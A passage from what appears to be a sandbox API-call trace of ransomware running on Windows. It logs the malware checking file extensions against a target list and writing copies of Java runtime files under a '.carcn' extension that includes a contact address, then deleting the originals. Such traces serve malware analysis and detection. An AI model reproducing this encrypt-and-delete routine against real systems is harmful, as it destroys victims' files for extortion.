files\\java\\jre1.8.0_144\\lib\\security\\java.security")) returned 1 [0269.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.202] lstrlenW (lpString=".doc") returned 4 [0269.202] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0269.202] lstrlenW (lpString=".docx") returned 5 [0269.202] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0269.202] lstrlenW (lpString=".pdf") returned 4 [0269.202] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0269.202] lstrlenW (lpString=".xls") returned 4 [0269.202] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0269.202] lstrlenW (lpString=".xlsx") returned 5 [0269.202] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0269.202] lstrlenW (lpString=".ppt") returned 4 [0269.202] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0269.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.202] lstrlenW (lpString=".zip") returned 4 [0269.202] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0269.202] lstrlenW (lpString=".rar") returned 4 [0269.202] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0269.202] lstrlenW (lpString=".bz2") returned 4 [0269.202] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0269.202] lstrlenW (lpString=".7z") returned 3 [0269.202] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0269.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.202] lstrlenW (lpString=".dbf") returned 4 [0269.202] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0269.202] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.203] lstrlenW (lpString=".1cd") returned 4 [0269.203] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0269.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.203] lstrlenW (lpString=".jpg") returned 4 [0269.203] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0269.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.203] lstrlenW (lpString=".doc") returned 4 [0269.203] lstrcmpiW (lpString1=".doc", lpString2="rity") returned -1 [0269.203] lstrlenW (lpString=".docx") returned 5 [0269.203] lstrcmpiW (lpString1=".docx", lpString2="urity") returned -1 [0269.203] lstrlenW (lpString=".pdf") returned 4 [0269.203] lstrcmpiW (lpString1=".pdf", lpString2="rity") returned -1 [0269.203] lstrlenW (lpString=".xls") returned 4 [0269.203] lstrcmpiW (lpString1=".xls", lpString2="rity") returned -1 [0269.203] lstrlenW (lpString=".xlsx") returned 5 [0269.203] lstrcmpiW (lpString1=".xlsx", lpString2="urity") returned -1 [0269.203] lstrlenW (lpString=".ppt") returned 4 [0269.203] lstrcmpiW (lpString1=".ppt", lpString2="rity") returned -1 [0269.203] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.203] lstrlenW (lpString=".zip") returned 4 [0269.203] lstrcmpiW (lpString1=".zip", lpString2="rity") returned -1 [0269.203] lstrlenW (lpString=".rar") returned 4 [0269.203] lstrcmpiW (lpString1=".rar", lpString2="rity") returned -1 [0269.203] lstrlenW (lpString=".bz2") returned 4 [0269.203] lstrcmpiW (lpString1=".bz2", lpString2="rity") returned -1 [0269.204] lstrlenW (lpString=".7z") returned 3 [0269.204] lstrcmpiW (lpString1=".7z", lpString2="ity") returned -1 [0269.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.204] lstrlenW (lpString=".dbf") returned 4 [0269.204] lstrcmpiW (lpString1=".dbf", lpString2="rity") returned -1 [0269.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.204] lstrlenW (lpString=".1cd") returned 4 [0269.204] lstrcmpiW (lpString1=".1cd", lpString2="rity") returned -1 [0269.204] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\java.security") returned 61 [0269.204] lstrlenW (lpString=".jpg") returned 4 [0269.204] lstrcmpiW (lpString1=".jpg", lpString2="rity") returned -1 [0269.204] lstrcmpiW (lpString1=".0_144\\LICENSE", lpString2=".carcn") returned -1 [0269.204] lstrlenW (lpString="LICENSE") returned 7 [0269.204] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0269.205] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=40) returned 1 [0269.205] CloseHandle (hObject=0x558) returned 1 [0269.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 0x20 [0269.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.205] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0269.206] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.206] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.206] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0269.206] GetLastError () returned 0x0 [0269.206] ReadFile (in: hFile=0x558, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x28, lpOverlapped=0x0) returned 1 [0269.207] WriteFile (in: hFile=0x530, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x30, lpOverlapped=0x0) returned 1 [0269.208] ReadFile (in: hFile=0x558, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.208] WriteFile (in: hFile=0x530, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xe2, lpOverlapped=0x0) returned 1 [0269.208] SetEndOfFile (hFile=0x530) returned 1 [0269.208] CloseHandle (hObject=0x530) returned 1 [0269.208] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.208] SetEndOfFile (hFile=0x558) returned 1 [0269.214] CloseHandle (hObject=0x558) returned 1 [0269.214] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0269.215] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1 [0269.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.215] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.215] lstrlenW (lpString=".doc") returned 4 [0269.215] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0269.215] lstrlenW (lpString=".docx") returned 5 [0269.215] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0269.215] lstrlenW (lpString=".pdf") returned 4 [0269.215] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0269.215] lstrlenW (lpString=".xls") returned 4 [0269.215] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0269.215] lstrlenW (lpString=".xlsx") returned 5 [0269.215] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0269.216] lstrlenW (lpString=".ppt") returned 4 [0269.216] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0269.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.216] lstrlenW (lpString=".zip") returned 4 [0269.216] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0269.216] lstrlenW (lpString=".rar") returned 4 [0269.216] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0269.216] lstrlenW (lpString=".bz2") returned 4 [0269.216] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0269.216] lstrlenW (lpString=".7z") returned 3 [0269.216] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0269.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.216] lstrlenW (lpString=".dbf") returned 4 [0269.216] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0269.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.216] lstrlenW (lpString=".1cd") returned 4 [0269.216] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0269.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.216] lstrlenW (lpString=".jpg") returned 4 [0269.216] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0269.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.216] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.216] lstrlenW (lpString=".doc") returned 4 [0269.217] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0269.217] lstrlenW (lpString=".docx") returned 5 [0269.217] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0269.217] lstrlenW (lpString=".pdf") returned 4 [0269.217] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0269.217] lstrlenW (lpString=".xls") returned 4 [0269.217] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0269.217] lstrlenW (lpString=".xlsx") returned 5 [0269.217] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0269.217] lstrlenW (lpString=".ppt") returned 4 [0269.217] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0269.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.217] lstrlenW (lpString=".zip") returned 4 [0269.217] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0269.217] lstrlenW (lpString=".rar") returned 4 [0269.217] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0269.217] lstrlenW (lpString=".bz2") returned 4 [0269.217] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0269.217] lstrlenW (lpString=".7z") returned 3 [0269.217] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0269.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.217] lstrlenW (lpString=".dbf") returned 4 [0269.217] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0269.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.217] lstrlenW (lpString=".1cd") returned 4 [0269.217] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0269.217] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0269.217] lstrlenW (lpString=".jpg") returned 4 [0269.217] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0269.218] lstrcmpiW (lpString1=".0_144\\release", lpString2=".carcn") returned -1 [0269.218] lstrlenW (lpString="release") returned 7 [0269.218] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0269.218] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=528) returned 1 [0269.218] CloseHandle (hObject=0x558) returned 1 [0269.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 0x20 [0269.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0269.219] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.219] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.219] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0269.219] GetLastError () returned 0x0 [0269.220] ReadFile (in: hFile=0x558, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x210, lpOverlapped=0x0) returned 1 [0269.220] WriteFile (in: hFile=0x530, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0x220, lpOverlapped=0x0) returned 1 [0269.221] ReadFile (in: hFile=0x558, lpBuffer=0x409f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a7fecc, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesRead=0x3a7fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.221] WriteFile (in: hFile=0x530, lpBuffer=0x409f020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3a7fc94, lpOverlapped=0x0 | out: lpBuffer=0x409f020*, lpNumberOfBytesWritten=0x3a7fc94*=0xe2, lpOverlapped=0x0) returned 1 [0269.222] SetEndOfFile (hFile=0x530) returned 1 [0269.222] CloseHandle (hObject=0x530) returned 1 [0269.222] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a7fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.222] SetEndOfFile (hFile=0x558) returned 1 [0269.226] CloseHandle (hObject=0x558) returned 1 [0269.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0269.227] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release")) returned 1 [0269.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.228] lstrlenW (lpString=".doc") returned 4 [0269.228] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0269.228] lstrlenW (lpString=".docx") returned 5 [0269.228] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0269.228] lstrlenW (lpString=".pdf") returned 4 [0269.228] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0269.228] lstrlenW (lpString=".xls") returned 4 [0269.228] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0269.228] lstrlenW (lpString=".xlsx") returned 5 [0269.228] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0269.228] lstrlenW (lpString=".ppt") returned 4 [0269.228] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0269.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.228] lstrlenW (lpString=".zip") returned 4 [0269.228] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0269.228] lstrlenW (lpString=".rar") returned 4 [0269.228] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0269.228] lstrlenW (lpString=".bz2") returned 4 [0269.228] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0269.228] lstrlenW (lpString=".7z") returned 3 [0269.228] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0269.228] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.228] lstrlenW (lpString=".dbf") returned 4 [0269.229] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0269.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.229] lstrlenW (lpString=".1cd") returned 4 [0269.229] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0269.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.229] lstrlenW (lpString=".jpg") returned 4 [0269.229] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0269.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.229] lstrlenW (lpString=".doc") returned 4 [0269.229] lstrcmpiW (lpString1=".doc", lpString2="ease") returned -1 [0269.229] lstrlenW (lpString=".docx") returned 5 [0269.229] lstrcmpiW (lpString1=".docx", lpString2="lease") returned -1 [0269.229] lstrlenW (lpString=".pdf") returned 4 [0269.229] lstrcmpiW (lpString1=".pdf", lpString2="ease") returned -1 [0269.229] lstrlenW (lpString=".xls") returned 4 [0269.229] lstrcmpiW (lpString1=".xls", lpString2="ease") returned -1 [0269.229] lstrlenW (lpString=".xlsx") returned 5 [0269.229] lstrcmpiW (lpString1=".xlsx", lpString2="lease") returned -1 [0269.229] lstrlenW (lpString=".ppt") returned 4 [0269.229] lstrcmpiW (lpString1=".ppt", lpString2="ease") returned -1 [0269.229] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.229] lstrlenW (lpString=".zip") returned 4 [0269.229] lstrcmpiW (lpString1=".zip", lpString2="ease") returned -1 [0269.229] lstrlenW (lpString=".rar") returned 4 [0269.229] lstrcmpiW (lpString1=".rar", lpString2="ease") returned -1 [0269.230] lstrlenW (lpString=".bz2") returned 4 [0269.230] lstrcmpiW (lpString1=".bz2", lpString2="ease") returned -1 [0269.230] lstrlenW (lpString=".7z") returned 3 [0269.230] lstrcmpiW (lpString1=".7z", lpString2="ase") returned -1 [0269.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.230] lstrlenW (lpString=".dbf") returned 4 [0269.230] lstrcmpiW (lpString1=".dbf", lpString2="ease") returned -1 [0269.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.230] lstrlenW (lpString=".1cd") returned 4 [0269.230] lstrcmpiW (lpString1=".1cd", lpString2="ease") returned -1 [0269.230] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 42 [0269.230] lstrlenW (lpString=".jpg") returned 4 [0269.230] lstrcmpiW (lpString1=".jpg", lpString2="ease") returned -1 [0269.230] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0269.230] lstrlenW (lpString="moments.exe") returned 11 [0269.230] CreateFileW (lpFileName="C:\\Program Files\\Java\\moments.exe" (normalized: "c:\\program files\\java\\moments.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0269.319] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=75776) returned 1 [0269.319] CloseHandle (hObject=0x530) returned 1 [0269.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\moments.exe" (normalized: "c:\\program files\\java\\moments.exe")) returned 0x20 [0269.319] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\moments.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\moments.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.319] CreateFileW (lpFileName="C:\\Program Files\\Java\\moments.exe" (normalized: "c:\\program files\\java\\moments.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.319] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.320] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.320] lstrlenW (lpString=".doc") returned 4 [0269.320] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0269.320] lstrlenW (lpString=".docx") returned 5 [0269.320] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0269.320] lstrlenW (lpString=".pdf") returned 4 [0269.320] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0269.320] lstrlenW (lpString=".xls") returned 4 [0269.320] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0269.320] lstrlenW (lpString=".xlsx") returned 5 [0269.320] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0269.320] lstrlenW (lpString=".ppt") returned 4 [0269.320] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0269.320] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.320] lstrlenW (lpString=".zip") returned 4 [0269.320] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0269.320] lstrlenW (lpString=".rar") returned 4 [0269.320] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0269.320] lstrlenW (lpString=".bz2") returned 4 [0269.320] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0269.320] lstrlenW (lpString=".7z") returned 3 [0269.320] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0269.320] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.320] lstrlenW (lpString=".dbf") returned 4 [0269.320] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0269.320] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.321] lstrlenW (lpString=".1cd") returned 4 [0269.321] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0269.321] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.321] lstrlenW (lpString=".jpg") returned 4 [0269.321] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0269.321] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.321] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.321] lstrlenW (lpString=".doc") returned 4 [0269.321] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0269.321] lstrlenW (lpString=".docx") returned 5 [0269.321] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0269.321] lstrlenW (lpString=".pdf") returned 4 [0269.321] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0269.321] lstrlenW (lpString=".xls") returned 4 [0269.321] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0269.321] lstrlenW (lpString=".xlsx") returned 5 [0269.321] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0269.321] lstrlenW (lpString=".ppt") returned 4 [0269.321] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0269.321] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.321] lstrlenW (lpString=".zip") returned 4 [0269.321] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0269.321] lstrlenW (lpString=".rar") returned 4 [0269.321] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0269.321] lstrlenW (lpString=".bz2") returned 4 [0269.321] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0269.322] lstrlenW (lpString=".7z") returned 3 [0269.322] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0269.322] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.322] lstrlenW (lpString=".dbf") returned 4 [0269.322] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0269.322] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.322] lstrlenW (lpString=".1cd") returned 4 [0269.322] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0269.322] lstrlenW (lpString="C:\\Program Files\\Java\\moments.exe") returned 33 [0269.322] lstrlenW (lpString=".jpg") returned 4 [0269.322] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0269.322] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0269.322] lstrlenW (lpString="barriers.exe") returned 12 [0269.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\barriers.exe" (normalized: "c:\\program files\\microsoft office\\barriers.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0269.324] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x3a7ff14 | out: lpFileSize=0x3a7ff14*=75776) returned 1 [0269.324] CloseHandle (hObject=0x530) returned 1 [0269.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\barriers.exe" (normalized: "c:\\program files\\microsoft office\\barriers.exe")) returned 0x20 [0269.324] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\barriers.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\barriers.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0269.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\barriers.exe" (normalized: "c:\\program files\\microsoft office\\barriers.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\barriers.exe") returned 46 [0269.324] lstrlenW 